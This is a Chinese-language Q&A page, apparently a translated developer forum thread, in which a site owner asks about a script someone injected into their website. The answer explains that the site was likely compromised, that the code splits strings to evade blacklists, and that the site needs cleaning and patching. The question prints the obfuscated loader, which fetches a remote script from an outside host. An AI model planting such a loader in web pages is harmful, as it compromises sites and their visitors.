有人可以解释这个JavaScript代码

时间:2015-06-27 12:12:46

标签: javascript

请解释此代码的含义:

<script type="text/javascript" language="javascript">
    document.write('<scri' + 'pt type="text/javas' + 'cript" language="javas' + 'cript" src="' + top.location.protocol + '//c.sitehelp.inkiev.net/code.cgi?c=4067' + (top.location.protocol=='http:' ? '' : '&ssl=1') + '&rnd=' + Math.random() + '"></sc' + 'ript>');
</script>
哦,这么多的弊端。我尝试简化表达式,阅读document.write()并变得清晰。为什么有人将其添加到我的网站?

<script 
    type="text/javascript" 
    language="javascript" 
    src="'http://c.sitehelp.inkiev.net/code.cgi?c=4067&rnd=' + Math.random() + '">
</script>

1 个答案:

答案 0 :(得分:1)

您的网站可能遭到入侵,有人注入了javascript代码。知识渊博的人应该使网站脱机,清理,通过更新它使用的任何服务(例如wordpress)修补任何漏洞,然后将其重新联机。 代码尝试通过拆分字符串来避免关键字黑名单。它从它生成的url中检索一个可能是恶意的脚本。